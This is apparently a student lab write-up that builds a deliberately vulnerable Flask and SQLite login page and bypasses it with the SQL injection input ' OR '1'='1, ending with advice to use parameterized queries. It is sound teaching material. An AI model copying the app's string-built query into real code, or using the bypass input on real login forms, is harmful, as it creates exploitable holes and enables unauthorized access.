Experiment No. 8

Title:

Set up a simple web server and perform a basic SQL injection attack.

Objective:

To understand how SQL injection works by setting up a simple web server and database, and to observe how improper input handling can allow unauthorized access, highlighting the importance of secure coding practices in web applications.

Software/Tools Required:

- Windows/ kali
- VS Code or CMD

Theory:

SQL injection is a web security vulnerability where attackers manipulate input fields to execute unauthorized SQL commands on a database. It occurs when user inputs are directly embedded into queries without validation. Preventing it requires input sanitization, prepared statements, and parameterized queries to protect sensitive data and application integrity.

Installation Commands:

Step 1: Set up your environment

Make sure you have Python 3, SQLite, and Flask installed.

pip install flask

//sudo pip install --break-system-packages flask

Create a new folder for your project, e.g., sql_injection_demo.

Step 2: Create a sample database

Inside your folder, create a file setup_db.py:

```
import sqlite3

conn = sqlite3.connect('test.db')

c = conn.cursor()

c.execute('''

    CREATE TABLE users (

        id INTEGER PRIMARY KEY,

        username TEXT,

        password TEXT

    )

''')

# Add sample data

c.execute("INSERT INTO users (username, password) VALUES ('admin',
'admin123')")

c.execute("INSERT INTO users (username, password) VALUES ('user',
'user123')")

conn.commit()

conn.close()

print("Database setup complete!")
```

Run it:

```
python setup_db.py
```

Step 3: Create a simple Flask web app

Create a file **app.py:**

```
from flask import Flask, request

import sqlite3
```

```
app = Flask(__name__)

@app.route('/')

def home():

    return '''

    <h1>Login</h1>

    <form method="POST" action="/login">

        Username: <input name="username"><br>

        Password: <input name="password"><br>

        <input type="submit">

    </form>

    '''

@app.route('/login', methods=['POST'])

def login():

    username = request.form['username']

    password = request.form['password']

    # WARNING: vulnerable to SQL injection

    conn = sqlite3.connect('test.db')

    c = conn.cursor()

    query = f"SELECT * FROM users WHERE username='{username}' AND
password='{password}'"

    c.execute(query)

    result = c.fetchone()

    conn.close()

    if result:
```

```
        return f"<h2>Welcome {username}!</h2>"
    else:
        return "<h2>Login Failed!</h2>"
if __name__ == "__main__":
    app.run(debug=True)
```

Step 4: Run the web server

```
python app.py
```

Open browser and go to http://127.0.0.1:5000/.

Step 5: Perform a basic SQL injection

In the login page, try these inputs:

Username: ' OR '1'='1

Password: ' OR '1'='1

This will bypass login because the SQL becomes:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'

✅ You should see a “Welcome” message even without correct credentials.

Note: Any other normal credentials will display login failed!

Outcome:

Successfully demonstrated a basic SQL injection attack in a controlled environment. Login was bypassed using crafted inputs, showing how malicious users can exploit vulnerable code, emphasizing the risks of directly embedding user inputs into SQL queries.

Conclusion:

SQL injection is a serious security vulnerability that can compromise data. Using parameterized queries, input validation, and secure coding practices prevents such attacks. Hands-on practice reinforces understanding of web security principles and the need to always validate and sanitize user inputs.